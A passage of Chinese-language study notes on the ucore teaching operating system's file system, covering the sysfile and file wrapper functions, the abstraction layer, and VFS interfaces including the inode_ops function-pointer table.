• sysfile_dup：复制文件

1
2
3
4

int
sysfile_dup(int fd1, int fd2) {
    return file_dup(fd1, fd2);
}

• sysfile_pipe：创建管道（未完成）

1
2
3
4

int
sysfile_pipe(int *fd_store) {
    return -E_UNIMP;
}

• sysfile_mkfifo：生成命名管道（未完成）

1
2
3
4

int
sysfile_mkfifo(const char *__name, uint32_t open_flags) {
    return -E_UNIMP;
}

这些 sysfile_xx 函数本质上就是更底层的 file_xx 函数（直接控制文件的函数）的外包装，可以说 file_xx 函数再外加一些对文件系统的操作就是 sysfile_xx 了：

1
2
3
4
5
6
7
8
9
10
11

int file_open(char *path, uint32_t open_flags);
int file_close(int fd);
int file_read(int fd, void *base, size_t len, size_t *copied_store);
int file_write(int fd, void *base, size_t len, size_t *copied_store);
int file_seek(int fd, off_t pos, int whence);
int file_fstat(int fd, struct stat *stat);
int file_fsync(int fd);
int file_getdirentry(int fd, struct dirent *dirent);
int file_dup(int fd1, int fd2);
int file_pipe(int fd[]);
int file_mkfifo(const char *name, uint32_t open_flags);

通常来讲，这些函数都会操作当前进程访问文件的数据接口，即 current->filesp（这也是进程描述结构体 proc_struct 新增的条目-filesp）

文件系统-抽象层

文件系统抽象层是把 不同文件系统 的 对外共性接口 提取出来，形成一个函数指针数组，这样，通用文件系统访问接口层只需访问文件系统抽象层，而不需关心具体文件系统的实现细节和接口（有点面向对象的味道）

VFS虚拟文件系统-实现抽象层的技术

系统接口（通用文件系统访问接口层）再下一层就到了 VFS 虚拟文件系统

虚拟文件系统（VFS）是 物理文件系统与服务之间的一个接口层（用于在文件系统与服务之间进行最初的解析），它对 Linux 的每个文件系统的所有细节进行抽象，使得不同的文件系统在 Linux 核心以及系统中运行的其他进程看来都是相同的

虚拟文件系统中，所使用的相关函数接口分别是 ：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

void vfs_init(void); // 虚拟文件系统vfs初始化
void vfs_cleanup(void); // 虚拟文件系统vfs清除
void vfs_devlist_init(void);

int vfs_set_curdir(struct inode *dir); // 通过inode更改当前线程的当前目录
int vfs_get_curdir(struct inode **dir_store); // 检索当前线程的当前目录的inode
int vfs_get_root(const char *devname, struct inode **root_store); // 获取名为DEVNAME的文件系统的根inode
const char *vfs_get_devname(struct fs *fs); // 获取传入的文件系统的挂载设备名称

int vfs_open(char *path, uint32_t open_flags, struct inode **inode_store); // 打开或创建文件
int vfs_close(struct inode *node); // 关闭文件
int vfs_link(char *old_path, char *new_path); // 创建指向文件的硬链接
int vfs_symlink(char *old_path, char *new_path); // 创建包含内容的符号链接路径
int vfs_readlink(char *path, struct iobuf *iob); // 将符号链接的内容读入uio(内核驱动)
int vfs_mkdir(char *path); // 创建一个目录
int vfs_unlink(char *path); // 删除文件/目录
int vfs_rename(char *old_path, char *new_path); // 重命名文件
int vfs_chdir(char *path); // 按名称更改当前线程的当前目录
int vfs_getcwd(struct iobuf *iob); // 检索当前线程当前目录的名称

int vfs_lookup(char *path, struct inode **node_store); // 查找文件
int vfs_lookup_parent(char *path, struct inode **node_store, char **endp); // 查找父目录

int vfs_set_bootfs(char *fsname);
int vfs_get_bootfs(struct inode **node_store);

int vfs_add_fs(const char *devname, struct fs *fs);
int vfs_add_dev(const char *devname, struct inode *devnode, bool mountable);

int vfs_mount(const char *devname, int (*mountfunc)(struct device *dev, struct fs **fs_store));
int vfs_unmount(const char *devname);
int vfs_unmount_all(void);

struct inode_ops {
    unsigned long vop_magic;
    int (*vop_open)(struct inode *node, uint32_t open_flags);
    int (*vop_close)(struct inode *node);
    int (*vop_read)(struct inode *node, struct iobuf *iob);
    int (*vop_write)(struct inode *node, struct iobuf *iob);
    int (*vop_fstat)(struct inode *node, struct stat *stat);
    int (*vop_fsync)(struct inode *node);
    int (*vop_namefile)(struct inode *node, struct iobuf *iob);
    int (*vop_getdirentry)(struct inode *node, struct iobuf *iob);
    int (*vop_reclaim)(struct inode *node);
    int (*vop_gettype)(struct inode *node, uint32_t *type_store);
    int (*vop_tryseek)(struct inode *node, off_t pos);
    int (*vop_truncate)(struct inode *node, off_t len);
    int (*vop_create)(struct inode *node, const char *name, bool excl, struct inode **node_store);
    int (*vop_lookup)(struct inode *node, char *path, struct inode **node_store);
    int (*vop_ioctl)(struct inode *node, int op, void *data);
};